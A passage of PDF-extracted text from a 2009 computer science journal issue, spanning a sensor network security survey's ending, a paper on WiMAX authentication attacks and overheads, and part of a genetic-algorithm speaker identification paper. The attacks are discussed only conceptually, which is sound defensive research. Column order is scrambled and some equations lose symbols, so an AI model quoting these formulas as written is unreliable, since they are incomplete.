Latency: The multi-hop routing, network congestion and node processing can lead to greater latency in the network, thus making it difficult to achieve synchronization among sensor nodes.
[4]
[5]
G. Unattended Operation Depending on the function of the particular sensor network, the sensor nodes may be left unattended for long periods of time. There are three main cautions to unattended sensor nodes [5]: •
•
•
[6]
[7]
Exposure to Physical Attacks: The sensor may be deployed in an environment open to adversaries, bad weather, and so on. The probability that a sensor suffers a physical attack in such an environment is therefore much higher than the typical PCs, which is located in a secure place and mainly faces attacks from a network.
[8]
[9]
Managed Remotely: Remote management of a sensor network makes it virtually impossible to detect physical tampering and physical maintenance issues.
[10]
[11]
No Central Management Point: A sensor network should be a distributed network without a central management point. This will increase the vitality of the sensor network. However, if designed incorrectly, it will make the network organization difficult, inefficient, and fragile.
[12]
[13]
Perhaps most importantly, the longer that a sensor is left unattended the more likely that an adversary has compromised the node.
[14]
[15]
VI.
CONCLUSION [16]
The deployment of sensor nodes in an unattended environment makes the networks vulnerable. Wireless sensor networks are increasingly being used in military, environmental, health and commercial applications. Sensor networks are inherently different from traditional wired networks as well as wireless ad-hoc networks. Security is an important feature for the deployment of Wireless Sensor Networks. This paper summarizes the attacks and their classifications in wireless sensor networks and also an attempt has been made to explore the security mechanism widely used to handle those attacks. The challenges of Wireless Sensor Networks are also briefly discussed. This
[17]
[18]
8
124
Adrian Perrig, John Stankovic, David Wagner, “Security in Wireless Sensor Networks” Communications of the ACM, Page53-57, year 2004 Al-Sakib Khan Pathan, Hyung-Woo Lee, Choong Seon Hong, “Security in Wireless Sensor Networks: Issues and Challenges”, International conference on Advanced Computing Technologies, Page1043-1045, year 2006 Chris Karlof, David Wagner, “Secure Routing in Wireless Sensor Networks: Attacks and Countermeasures”, AdHoc Networks (elsevier), Page: 299-302, year 2003 Ian F. Akykildiz, Weilian Su, Yogesh Sankarasubramaniam, and Erdal Cayirci, “A Survey on Sensor Networks”, IEEE Communication Magazine, year 2002 John Paul Walters, Zhengqiang Liang, Weisong Shi, Vipin Chaudhary, “Wireless Sensor Network Security: A Survey”, Security in Distributed, Grid and Pervasive Computing Yang Xiao (Eds), Page3-5, 10-15, year 2006 Pathan, A.S.K.; Hyung-Woo Lee; Choong Seon Hong, “Security in wireless sensor networks: issues and challenges” Advanced Communication Technology (ICACT), Page(s):6, year 2006 Tahir Naeem, Kok-Keong Loo, Common Security Issues and Challenges in Wireless Sensor Networks and IEEE 802.11 Wireless Mesh Networks, International Journal of Digital Content Technology and its Applications, Page 89-90 Volume 3, Number 1, year 2009 Undercoffer, J., Avancha, S., Joshi, A. and Pinkston, J. “Security for sensor networks”. In Proceedings of the CADIP Research Symposium, University of Maryland, Baltimore County, USA, year 2002 http://www.cs.sfu.ca/~angiez/personal/paper/sensor-ids.pdf Zia, T.; Zomaya, A., “Security Issues in Wireless Sensor Networks”, Systems and Networks Communications (ICSNC) Page(s):40 – 40, year 2006 Xiangqian Chen, Kia Makki, Kang Yen, and Niki Pissinou, Sensor Network Security: A Survey, IEEE Communications Surveys & Tutorials, vol. 11, no. 2,page(s): 52-62, year 2009 Culler, D. E and Hong, W., “Wireless Sensor Networks”, Communication of the ACM, Vol. 47, No. 6, June 2004, pp. 30-33. D. Djenouri, L. Khelladi, and N. Badache, “A Survey of Security Issues in Mobile ad hoc and Sensor Networks,” IEEE Commun. Surveys Tutorials, vol. 7, pp. 2–28, year 2005. S. Schmidt, H. Krahn, S. Fischer, and D. Watjen, “A Security Architecture for Mobile Wireless Sensor Networks,” in Proc. 1st European Workshop Security Ad-Hoc Sensor Networks (ESAS), 2004. Y. Wang, G. Attebury, and B. Ramamurthy, “A Survey of Security Issues in Wireless Sensor Networks,” IEEE Commun. Surveys Tutorials, vol. 8, pp. 2–23, year 2006. Yun Zhou, Yuguang Fang, Yanchao Zhang, Securing Wireless Sensor Networks: A Survey, IEEE Communications Surveys & Tutorials, year 2008 Xiuli Ren, Security Methods for Wireless Sensor Networks, Proceedings of the 2006 IEEE International Conference on Mechatronics and Automation , Page: 1925 ,year 2006 R. Roman, J. Zhou, and J. Lopez, “On the security of wireless sensor networks,” in International Conference on Computational Science and Its Applications – ICCSA 2005, May 9-12 2005, vol. 3482 of Lecture Notes in Computer Science, (Singapore), pp. 681–690, Springer Verlag, Heidelberg, D-69121, Germany, 2005. N. Sastry and D. Wagner, “Security considerations for ieee 802.15.4 networks,” in Proceedings of the 2004 ACM workshop on Wireless security, pp. 32–42, Philadelphia, PA, USA: ACM Press, 2004.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [19] L.Weimin, Y.Zongkai, C.Wenqing, T.Yunmeng, Research on The Security in Wireless Sensor Network, Asian Journal of Information Technologys, Page(s): 339-345, year 2006 AUTHORS PROFILE Dr. Padmavathi Ganapathi is the Professor and Head of Department of Computer Science, Avinashilingam University for Women, Coimbatore. She has 21 years of teaching experience and one year Industrial experience. Her areas of interest include Network security and Cryptography and real time communication. She has more than 50 publications at national and International level. She is a life member of many professional organizations like CSI, ISTE, AACE, WSEAS, ISCA, and UWA. Mrs. Shanmugapriya. D, received the B.Sc. and M.Sc. degrees in Computer Science from Avinashilingam University for Women, Coimbatore in 1999 and 2001 respectively. And, she received the M.Phil degree in Computer Science from Manonmaniam Sundaranar University, Thirunelveli in 2003 and pursuing her PhD at Avinashilingam University for Women. She is currently working as a Lecturer in Information Technology in the same University and has eight years of teaching experience. Her research interests are Biometrics, Network Security and System Security.
9
125
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Computational Complexities and Breaches in Authentication Frameworks of Broadband Wireless Access (BWA) Raheel Maqsood Hashmi [1], Arooj Mubashara Siddiqui [2], Memoona Jabeen [3] Khurram S. Alimgeer, Shahid A. Khan Department of Electrical Engineering COMSATS Institute of Information Technology Islamabad, Pakistan [1] [email protected], [2] [email protected], [3] [email protected] and 802.16e in 2005 suggests that the standard is in the initial phase of implementation and several dormant issues and short comings will be highlighted with progress in deployment and service provisioning.
Abstract— Secure access of communication networks has become an increasingly important area of consideration for the communication service providers of present day. Broadband Wireless Access (BWA) networks are proving to be an efficient and cost-effective solution for the provisioning of high rate wireless traffic links in static and mobile domains. The secure access of these networks is necessary to ensure their superior operation and revenue efficacy. Although authentication process is a key to secure access in BWA networks, the breaches present in them limit the network’s performance. In this paper, the vulnerabilities in the authentication frameworks of BWA networks have been unveiled. Moreover, this paper also describes the limitations of these protocols and of the solutions proposed to them due to the involved computational complexities and overheads. The possible attacks on privacy and performance of BWA networks have been discussed and explained in detail.
Network security and legitimate service access is a concealed performance indicator in providing Quality of Service (QoS) to users. In this paper, the pitfalls in the current authentication frameworks have been unveiled, the reasons for the breaches have been identified and the causes, been analyzed to highlight the limitations of the existing protocols. Rest of the paper is organized as follows. In Section II, we introduce the existing authentication frameworks. Section III describes the attacks on authentication. Section IV highlights the computational complexities and overheads involved in the existing protocols and Section V concludes our discussion.
Keywords- Comutational Complexity; Authentication; Security; Privacy; Key Management.
I.
II.
INTRODUCTION
AUTHENTICATION FRAMEWORKS
A. Privacy & Key Management Protocol version 1: The PKM v1 protocol complies with the 802.16d-2004 standard and is operating in the Fixed WiMAX networks. This protocol is a 3-step protocol involving 1-way authentication. The figure 1 shows the PKM v1 authentication model and messages involved.
Broadband Wireless Access (BWA) is rapidly emerging as the standard for future communication networks. The ease of deployment combined with low operational and maintenance costs makes BWA the preferred choice for modern communication service providers. The BWA or WiMAX (World-wide Interoperability for Microwave Access) networks work on the protocols defined in the IEEE 802.16 standard [1]. IEEE 802.16 has two revisions: 802.16d termed as fixed WiMAX and 802.16e termed as mobile WiMAX [2]. The deployments of WiMAX networks are growing rapidly to achieve seamless mobility followed by worldwide broadband communications. Authentication of users and of equipment in the BWA network is done as a part of the admission control process. The authentication phase is also carried out while execution of handoffs in mobile BWA networks. The authentication and service authorization process is carried out at the privacy sublayer, embedded in the WiMAX protocol stack [1], [3]. A complete protocol ensuring secure distribution and management of keying data between network entities is incorporated in this layer, known as Privacy and Key Management protocol (PKM) [1]. Launch of 802.16d in 2004
Figure 1. Privacy and Key Management Protocol version 1 [5]
The detailed operation of PKM v1 can be found in [1], [4] and [5]. PKM v1 is based on X.509 certificate based Public
126
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Key Infrastructure (PKI). Figure 1 shows the information flow between Subscriber Station (SS) and Base Station (BS). The individual components of the message have been addressed in [1] and [5]. In step 2, a nonce (NSS) is shown which is a 64-bit number generated randomly to be used as a message linking token [4]. Basic Connection Identity Code (BCID) is used to identify a particular node in the network and is assigned to the node during the admission control process.
discussed in [7] and [8] which may occur on PKM v2. The approach is presented for mobile WiMAX networks and enhances the PKM v2 authentication framework. E. Improved Secure Network Authentication Protocol: This model has been proposed in [4] and aims to restructure the authentication framework by introducing a single protocol for both fixed and mobile networks. It has been introduced to cover some of the major threats highlighted in [6], [7] and [9]. Improved Secure Network Authentication Protocol (ISNAP) has been designed and optimized by utilizing the existing system resources involving minimum overhead. The proposed model of ISNAP is shown in figure 3.
B. Privacy &Key Management Protocol version 2: PKM v2 protocol was defined in 802.16e-2005 and is implemented in Mobile WiMAX networks. This protocol is not essentially a variant of PKM v1. However, PKM v1 and v2 share a common service authorization structure. PKM v2 is a 4-step, 3-way authentication protocol. The operational mechanism of PKM v2 is illustrated in [2] and [6]. Figure 2 depicts the PKM v2 authentication framework.
Figure 3. Improved Secure Network Authentication Protocol [4]
The detailed structure and working of ISNAP has been discussed in [4].
Figure 2. Privacy and Key Management Protocol version 2 [6]
The major enhancements in PKM v2 are the inclusion of digital certificates (DS) and authorization acknowledgement step. Moreover, except step 1, a nonce (NSS or NBS) has been incorporated with each message to link successive steps of the protocol.
III.
ATTACKS ON AUTHENTICATION
Attacks on authentication can be described as the ways by which a network can be intruded and the privacy of the users be compromised. The secure access of network services is becoming an increasingly important issue in the present communication infrastructures. Any attempts of an interloper to get registered with the network illegitimately or to create chaos in it, is possible; if the user authentication and authorization stage is compromised. Therefore, the ways to breach the authentication frameworks are termed as attacks on privacy and key management protocols and their variants.
C. The Time Stamp Authorization (TSA) Model: This model has been proposed by Sen Xu et al. in [7] and introduces timestamps to ensure message authenticity. This proposal is a variant of PKM v1 which has timestamps placed on all messages to certify the freshness of the message. Each node in the network (BS or SS) maintains a timestamp table which contains the timestamps of all the messages received; therefore, preventing the message replays. Furthermore, a key management strategy for inter-BS key management and exchange has also been proposed along with this protocol in [7]. This model specifically focuses and enhances PKM v1 authorization model and is aimed for fixed WiMAX networks.
A. Water-Torture Attack: The Water-Torture attack is aimed to perturb the network’s operation by causing flooding. There are some messages which are used to initiate cyclic processes when received on any node. Transmission of such a message can be seen in figure 1 and figure 2 as McerSS. McerSS is the manufacturer’s X.509 certificate which is used by the SS to show its presence in the network and to initiate the authentication protocol [5]. In the admission control process, the reception of this message at BS initiates the cyclic authentication procedure. In the event of a Water-Torture attack, these triggering messages are captured and are transmitted in a loop to cause trigger flooding; thus,
D. Hybrid Authorization (HA) Model: Ayesha Altaf et al., in [6], propose a model which employs a hybrid approach involving nonce and timestamps to prevent the attacks on privacy and key management protocols. This proposal claims to cater the effect of interleaving attacks
127
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
creating artificial congestion at the BS. This attack can be extended to create a management chaos and blocking in the network’s domain, especially, where remote power feeding is employed. PKM v1 & v2, TSA Model and the HA model are influenced by this attack as there is no method to detect if McerSS has been transmitted by an authentic SS or has been replayed by an intruder.
employing one-way authentication [12]. The PKM v1 model and Time-Stamp authentication model are vulnerable to this type of infringement attempt. The reason for this is one-way authentication i.e., BS authenticates SS but vice versa does not occur. Moreover, this attack is aimed to compromise the security of the users and poses severe threats in case of employment of BWA infrastructure in security and defense installations for any realm.
B. Denial of Service Attack: While dealing with radio frequency networks we come across certain entities which maintain a cause and effect relationship between them. The Denial of Service (DoS), in this case, is one of the results of the Water-Torture attack. Due to the engaged resources and falsified congestion, the requests for authentication, key exchange and securing admission to the network are not entertained. This causes a severe degradation of QoS, therefore, resulting in heavy revenue losses. The protocols subjected to Water-Torture attack are, naturally, also subjected to DoS attack.
F. Interleaving Attack: Interleaving attack is a sub-class of Man-in-the-Middle attacks and is specifically aimed for PKM v2. In this attack, an adversary interleaves a communication session by maintaining connections with the BS and SS, pertaining as SS to BS and vice versa. All the information on route passes through the adversary node and thus an information leakage point is built [8]. The backbone of interleaving attack is the re-transmission of a set of messages from the same session. The HA model proposes an approach to cater the interleaving attack by introducing transmission and storage overheads in the network [6].
C. Message Replay Attack: This attack, under its footprint, covers a large number of intrusion methods which are based on the employment of the described approach. This attack involves the capturing and reuse of the messages in the authentication cycles. The re-use can be based on a specific message or on a set of messages exchanged during a complete session. PKM v1 is not supported with any mechanism to counter this attack. However, PKM v2 partially counters this attack by employing nonce in message 2 and 3 as shown in figure 2. Nonce being a 64-bit random number has (264)-1 probability of repetition and is very difficult to be predicted. It does prove useful to link subsequent messages and helps to resolve the replay issues to a partial extent. Hence, PKM v1 is a victim of replay attacks while PKM v2, partially not completely, is secure. The TSA model proposes timestamps instead of nonce while the HA model demands the use of nonce in conjunction with timestamps, but both models present significant overhead, as discussed in next section.
G. Suppress Replay Attack: This method of gaining forged access to the network services takes advantage of the fact that perfect synchronization must be maintained to protect the authentication session from intrusion. Due to the loss of synchronization in the clocks of the entities, an intruder can gain control on the authentication framework by capturing the messages and transmitting them with added delays, thus causing forward message replay [6]. This class of attack is difficult to counter and is vulnerable for the Timestamp Authentication model. The Hybrid Authentication model can also be manipulated by this attack. IV.
COMPUTATIONAL COMPLEXITIES AND OVERHEADS
The Timestamp Authentication model, Hybrid Authentication Model and ISNAP have been put forth to remove the threats posed to the standardized protocols PKM v1 and PKM v2. The first two models focus their predecessors i.e. PKM v1 and PKM v2, respectively, for removal of threats; however, ISNAP focuses on a single solution for fixed and mobile BWA networks, solving the existing problems. The proposed models, along with the enhancements, offer computational complexities and storage overheads as discussed in this section.
D. Identity Theft: The SS equipment in the network is provisioned with the services on the basis of the physical (MAC address) registered in the network. In case of fixed BWA networks, the MAC identities are registered permanently for each SS, however, in mobile BWA networks, the MAC ID is registered each time a node joins the network or performs handoffs. Hence, PKM v1 is not exposed to this attack, but, as in figure 2, PKM v2 and HA model are vulnerable to this attack as message 4 contains MAC identity in both encrypted and unencrypted form. There are several devices available at the present day which can be reprogrammed with variable MAC addresses [6], [9].
A. Timestamp Validation: The TSA model, HA model and ISNAP model have been put forth to remove the threats posed to the standardized protocols PKM v1 and PKM v2. The first two models focus their predecessors i.e. PKM v1 and PKM v2, respectively, for removal of threats; however, ISNAP model focuses on a single solution for fixed and mobile BWA networks, along with eradication of the posed threats.
E. Impersonation: Impersonation refers to the type of attack in which one node masquerades another node. There are several ways in which impersonation can be achieved like by message replay or while
128
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
The above analysis suggests that the storage overhead is quite significant in terms of reserving the memory resources for any system and can be optimized by enhancement of the timestamp table comparison method. The proposed models to rectify the threats discussed in section III, the TSA model and the HA model, are subject to severe limitations discussed above. ISNAP model, however, offers the replacement of the timestamp table method by offering a validation procedure based on mathematical evaluations [4]. In this case, a timestamp is subjected to a mathematical condition; if the condition is fulfilled, the message is validated, else the message is contradicted. Therefore, ISNAP’s validation procedure reduces the storage overheads to very considerable limits by removing the need for maintaining record tables.
Timestamps are freshness guards for messages. These timestamps, used to eliminate replays, are recorded in timestamp tables. These tables contain the timestamps for all the messages previously received and are used to compare the timestamp of any newly received message with the recorded ones. The presence of the newly received timestamp in the tables leads towards the detection of a replay, or otherwise, a validation of message. The timestamp tables consume memory for the storage of prior timestamps from messages and also consume a large number of computational cycles to compare the arriving timestamp with the recorded ones. Let ∂ be the number of bytes in the memory for storage of one timestamp and ρ be the number of days for which the records are maintained in the table. Then we have in (1) as:
x∂ x ρ
where χ is storage overhead caused by the timestamp tables expressed in bytes/node and is the minimum number of messages exchanged between two communicating nodes per day. Generally, to counter the replays, timestamp records are maintained in the tables for an optimum amount of time. Thus, assuming ∂ and ρ to be 4 bytes (as in a UNIX based environment) and 15 days, if be a minimum of 100 messages validated per day, the value of χ approaches to 6 Kilobytes to be maintained for each node. Hence for a BS serving 64 SSs, this can lead to 0.3 Megabytes of minimum static memory reserved by timestamp tables at each BS.
B. Transmission Overheads: In order to minimize the posed threats, different sentinels are to be introduced in the authentication frameworks. This increases the transmission overhead for the verification procedures; therefore, establishing a cost and benefit relationship between the security and increased transmission.
A very general implementation of timestamp comparison on UNIX based operating system suggests that a minimum of 2 floating point instructions are used for comparison of one timestamp. Therefore, the machine cycles for comparison of the timestamps can be calculated by (2) as:
where α is the number of computational cycles used in the timestamp validation process. Thus, we can have the number of floating point instructions per second (FLOPS) in (3) as:
FLOPS = α x (σ)-1
where σ is the number of machine cycles per second for any particular system (SS or BS). The above analysis suggests that the number of FLOPS used in the timestamp validation process will be significantly large depending upon the amount of records maintained and the constriction time required to counter replay attacks. The final expression for the number of FLOPS becomes: FLOPSρ.∂) x (σ)-1
129
Figure 4. Transmission Overheads
Figure 4 shows the comparative transmission overheads of the proposed models with their standardized counterparts. ISNAP model poses lesser transmission than Hybrid Authentication model by removing some redundant components like unencrypted MAC ID in the last message. As for the TSA model, as it is a variant of PKM v1, the fixed network protocol, ISNAP requires substantially more transmission. However, the cost and benefit relation is justified due to the removal of several major attacks in ISNAP and reduction in storage resources. Combined with overheads involving storage resources and transmission overheads, the maximum operating cost is offered by the proposed HA model and afterwards TSA Model and ISNAP model have comparable outlays. However, based on the performance of these proposed solutions, ISNAP provides optimum protection against intrusion and unauthorized use of network resources.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009 [6]
C. Resynchronization Scheme: The involvement of clock based parameters in authentication procedures suggests that the clocks of the involved systems must be well synchronized to allow for a successful handshake between the intervening nodes. The synchronization scheme in WiMAX networks has remained an issue as discussed in [10] and there remains probability of errors in the clocks [11]; allowing intrusion activity. Although the ISNAP model suggests a solution to this issue, the analysis and implementation of the synchronization schemes has yet to be performed to reach a satisfactory conclusion.
[7]
[8]
Ayesha Altaf, M. Younus Javed, Attiq Ahmed, “Security Enhancements for Privacy and Key Management Protocol in IEEE 802.16e-2005”, Proceedings of the 9th ACIS International Conference on software Engineering, Artificial Intelligence, Networking and Parallel/Distributed Computing, pp. 335-339, 2008. Sen Xu, Chin-Tser Huang, “Attacks on PKM Protocols of IEEE 802.16 and Its Later Versions”, Computer Science and Engineering Department, University of South Carolina, Columbia, September, 2006.
Gavin Lowe ,”A Family of Attacks upon Authentication Protocols”, Department of Mathematics and Computer Science, University of Leicester, January, 1997.
[9]
Michel Barbeau, “WiMax/802.16 Threat Analysis”, School of Computer Science Carleton University, Ontario, Canada, October, 2005. [10] Hao Zhou, Amaresh V. Malipatil and Yih-Fang Huang., “Synchronization issues in OFDM systems”, Circuits and Systems, IEEE-APCCAS, pp. 988 – 991, 2006. [11] Li Gong , “A Security Risk of depending on Synchronized Clocks”, ORA Corporation and Cornell University, September 24, 1991. [12] David Johnston, Jesse Walker, “Overview of IEEE 802.16 Security,” IEEE Security & Privacy, June 2004.
D. Initiation of Authentication Procedure: In PKM v1, PKM v2, Timestamp Authentication Model and Hybrid Authentication model, the trigger message for initiating the handshake procedure cannot be protected against the class of replay attacks. ISNAP model proposes a solution to this vulnerability but demands the clocks to be synchronized.
AUTHORS PROFILE
V.
CONCLUSION
Raheel M. Hashmi is a graduate student enrolled in MS Engineering at Politecnico di Milano, Italy. He did his degree in Electrical Engineering from COMSATS Institute of Information Technology (CIIT), Islamabad in 2009 and received Gold Medallion Award. He has research contributions in the area of Wireless Networking and Security. Arooj M. Siddiqui has done Electrical (Telecom.) Engineering from Dept. of Electrical Engineering, CIIT, Islamabad in 2009. She is a Graduate Student and Researcher and has contributed towards the area of Authentication in BWA Networks.
The authentication protocols standardized in the WiMAX or BWA networks are faced with a number of vulnerabilities which are critical to smooth operation of the network and demand shear attention. The proposed solutions to the posed threats have been, up to some extent, successful in sorting out the issues but not feasible enough in terms of the proposed complexities and overheads. However, ISNAP model has been optimum in terms of solving the security issues along with offering optimized use of resources. Nevertheless, optimization of operations for validation procedures and finest use of system resources to furnish secure network access is required and demands more research in this area.
Memoona Jabeen completed Electrical Engineering degree from CIIT, Islamabad, Pakistan in 2009. She has International Research Publications in the area of Secure Wireless Access and Cryptographic Methods.
REFERENCES [1]
[2]
[3]
[4]
[5]
IEEE Computer Society and the IEEE Microwave Theory and Techniques Society, 802.16TM IEEE Standard for local and metropolitan area networks," Part 16: Air Interface for Fixed Broadband Wireless Access Systems", June 2004. IEEE Std. 802.16e/D12, “IEEE Standard for Local and Metropolitan Area Networks, part 16: Air Interface for Fixed and Mobile Broadband Wireless Access Systems”, IEEE Press, 2005. Jeffrey G. Andrews, Arunabha Ghosh, Rias Muhamed, “Fundamentals of WiMAX: Understanding Broadband Wireless Networking”, Chapter 9: MAC Layer of WiMAX, Pearson Education Prentice Hall, 2007. ISBN (PDF) 0-13-222552-2 R. M. Hashmi et. al., “Improved Secure Network Authentication Protocol (ISNAP) for IEEE 802.16”, Proceedings of 3rd IEEE International Conference on Information and Communication Technologies, August 2009. Sen Xu, Manton Matthews, Chin-Tser Huang. “Security issues in privacy and key management protocols of IEEE 802.16”, Proceedings of the 44th annual Southeast regional conference, pp. 113-118, ISBN 159593-315-8, 2006.
Khurram S. Alimgeer did his Bachelors degree in IT in 2002 and completed his MS in Telecommunications with distinction in 2006. He has been with Dept. of Electrical Engineering, CIIT since 2003 and been supervising extensive research work. Currently, he is Assistant Professor at CIIT and is also working as doctoral researcher. His areas of research include Wireless Communications, Image Processing & Antenna Design. Professor Dr Shahid A. Khan did his Bachelors in Electrical Engineering in 1988 from UET Taxila. He did MS Electrical and Electronics Engineering and Ph.D. in Communications from University of Portsmouth, UK. Since then, he has been involved in significant R&D work with research giants like European Antennas Ltd. UK, Newt International Ltd. UK and WAPDA. He joined CIIT in 2003and is, at present, serving as Dean, Faculty of Engineering CIIT. He has significant research contributions to the field of Wireless Networks. Manuscript received 30 July 2009.
130
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Codebook Design Method for Noise Robust Speaker Identification based on Genetic Algorithm Md. Rabiul Islam1
Md. Fayzur Rahman2
1
2
Department of Computer Science & Engineering Rajshahi University of Engineering & Technology Rajshahi-6204, Bangladesh. [email protected]
Department of Electrical & Electronic Engineering Rajshahi University of Engineering & Technology Rajshahi-6204, Bangladesh. [email protected]
of this proposed noise robust codebook design method for speaker identification.
Abstract— In this paper, a novel method of designing a codebook for noise robust speaker identification purpose utilizing Genetic Algorithm has been proposed. Wiener filter has been used to remove the background noises from the source speech utterances. Speech features have been extracted using standard speech parameterization method such as LPC, LPCC, RCC, MFCC, ΔMFCC and ΔΔMFCC. For each of these techniques, the performance of the proposed system has been compared. In this codebook design method, Genetic Algorithm has the capability of getting global optimal result and hence improves the quality of the codebook. Comparing with the NOIZEOUS speech database, the experimental result shows that 79.62 [%] accuracy has been achieved.
II.
Keywords- Codebook Design; Noise Robust Speaker Identification; Genetic Algorithm; Speech Pre-processing; Speech Parameterization.
I.
SYSTEM OVERVIEW
The proposed codebook design method can be divided into two operations. One is the encoder and another is the decoder. The encoder takes the input speech utterance and outputs the index of the codeword considering the minimum distortion. To find out the minimum distortion, different types of genetic algorithm operations have been used. In decoding phase, when the decoder receives the index then it translates the index to its associate speaker utterance. Fig. 1 shows the block diagram of this proposed codebook design method.
INTRODUCTION
Speaker Identification is the task of finding the identity of an unknown speaker among a stored database of speakers. There are various techniques to resolve the automatic speaker identification problem [1, 2, 3]. HMM is one of the most successful classifier for speaker identification system [4, 5]. To implement the speaker identification system in real time environment, codebook design is essential. The LBG algorithm is most popular to design the codebook due to its simplicity [6]. But the limitations of the LBG algorithm are the local optimal problem and its low speed. It is slow because for each iteration, determination of each cluster requires that each input vector be compared with all the codewords in the codebook. There were another methods such as modified K-means (MKM) algorithm [7], designing codewords from the trained vectors of each phoneme and grouping them together into a single codebook [8] etc. In codebook design, the above methods perform well in noiseless environments but the system performance degrades under noisy environments.
Figure 1. Paradigm of the proposed codebook design method.
III.
SPEECH SIGNAL PRE-PROCESSING
To capture the speech signal, sampling frequency of 11025 HZ, sampling resolution of 16-bits, mono recording channel and Recorded file format = *.wav have been considered. The speech preprocessing part has a vital role for the efficiency of learning. After acquisition of speech utterances, winner filter has been used to remove the background noise from the original speech utterances [9, 10, 11]. Speech end points detection and silence part removal algorithm has been used to detect the presence of speech and to remove pulse and silences in a background noise [12, 13, 14, 15, 16]. To detect word boundary, the frame energy is computed using the sort-term log energy equation [17],
This paper deals the efficient approach for implementing the codebook design method for HMM based real time closeset text-dependent speaker identification system under noisy environments. To remove the background noise from the speech, wiener filter has been used. Efficient speech preprocessing techniques and different feature extraction techniques have been considered to improve the performance
131
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
E i = 10 log
n i + N −1
∑
S 2 (t )
In the recognition phase, for each unknown group and speaker within the group to be recognized, the processing shown in Fig. 2 has been carried out.
(1)
t = ni
Pre-emphasis has been used to balance the spectrum of voiced sounds that have a steep roll-off in the high frequency region [18, 19, 20]. The transfer function of the FIR filter in the z-domain is [19],
H ( Z ) = 1 − α .z −1 , 0 ≤ α ≤ 1 Where
α
(2)
is the pre-emphasis parameter.
Frame blocking has been performed with an overlapping of 25% to 75% of the frame size. Typically a frame length of 1030 milliseconds has been used. The purpose of the overlapping analysis is that each speech sound of the input sequence would be approximately centered at some frame [21, 22]. From different types of windowing techniques, Hamming window has been used for this system. The purpose of using windowing is to reduce the effect of the spectral artifacts that results from the framing process [23, 24, 25]. The hamming window can be defined as follows [26]: Figure 2. Recognition model on Genetic Algorithm.
2Πn N −1 N −1 ⎧⎪ 0.54 − 0.46 cos , −( )≤n≤( ) w(n) = ⎨ 2 2 N ⎪⎩ 0, Otherwise IV.
(3)
VI.
A. Experiment on the Crossover Rate The identification rate has been measured according to the various crossover rates. Fig. 3 shows the comparison among results of different crossover rates. It is shown that the highest identification rate of 87.00 [%] was achieved at crossover rate 5.
SPEECH PARAMETERIZATION
This stage is very important in an ASIS because the quality of the speaker modeling and pattern matching strongly depends on the quality of the feature extraction methods. For the proposed ASIS, different types of speech feature extraction methods [27, 28, 29, 30, 31, 32] such as RCC, MFCC, ΔMFCC, ΔΔMFCC, LPC, LPCC have been applied. V.
OPTIMUM PARAMETER SELECTION ON GENETIC ALGORITHM
SPEECH PARAMETERIZATION
Genetic Algorithm [33, 34, 35, 36] has been applied in two ways for the encoding and decoding purposes. On encoding, every speaker utterance is compared with an environmental noise utterance and made some groups. In each group, one utterance is selected which is defined as the codeword of that group. As a result of encoding, some groups have been defined and one speaker utterance will lead one group. On decoding side, when unknown speaker utterance comes to the system then it is matched with a leading utterance. The unknown utterance will then find out within that selected group. In GA processing selection, crossover and mutation operators have been used here. The fitness function is expressed as follows: Fitness = (Unknown speech × Each stored speech)
Figure 3. Performance comparison among different crossover rate.
B. Experiment on the No. of Generations The number of generations has also been varied to measure the best performance of this codebook design method. According to the number of generation 5, 10 and 20 (with crossover rate 5), a comparative identification rate was found
(4)
132
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009 TABLE III.
which is shown in Fig. 4. When the comparison is continued up to 5th generation, highest speaker identification rate of 93.00 [%] was achieved.
Method SNR 15dB
TABLE I. Method
MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
15dB
89.00
86.33
63.33
65.33
75.67
10dB
86.00
84.43
58.43
60.43
69.33
5dB
75.33
81.00
50.33
60.33
60.43
SNR
0dB
68.89
75.29
43.33
56.17
58.29
Average
79.81
81.76
53.86
60.57
65.93
TABLE II. Method SNR 15dB
MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
80.00
90.00
63.33
63.33
76.67
10dB
76.67
86.67
53.33
56.67
70.00
5dB
63.33
73.33
46.67
56.67
70.00
0dB
73.33
63.33
46.67
53.33
63.33
Average
73.33
78.33
52.50
57.50
70.00
89.43
63.33
73.33
76.67
53.33
63.33
70.00
5dB
63.33
70.00
0dB
63.33
63.33
46.67
53.33
60.00
Average
69.17
77.44
54.17
63.33
69.17
EXHIBITION HALL NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
90.00
91.67
76.67
80.00
87.67
10dB
83.33
83.33
63.33
76.67
76.67
5dB
76.67
80.00
76.67
76.67
73.33
0dB
73.33
76.67
53.33
63.33
70.00
Average
80.83
82.92
67.50
74.17
76.92
Method
RESTAURANT NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
15dB
85.00
91.00
53.33
83.33
83.33
10dB
80.00
80.00
53.33
76.67
73.33
5dB
73.33
76.67
50.43
63.33
73.33
0dB
60.00
65.33
46.67
63.33
63.33
Average
74.58
78.25
50.94
71.67
73.33
TABLE VI. Method
STREET NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
15dB
83.33
90.00
63.33
76.67
83.33
10dB
76.67
80.00
56.67
63.33
73.33
5dB
73.33
76.67
53.33
76.67
73.33
SNR
0dB
63.33
73.33
46.67
63.33
63.33
Average
74.17
80.00
55.00
70.00
73.33
TABLE VII. Method
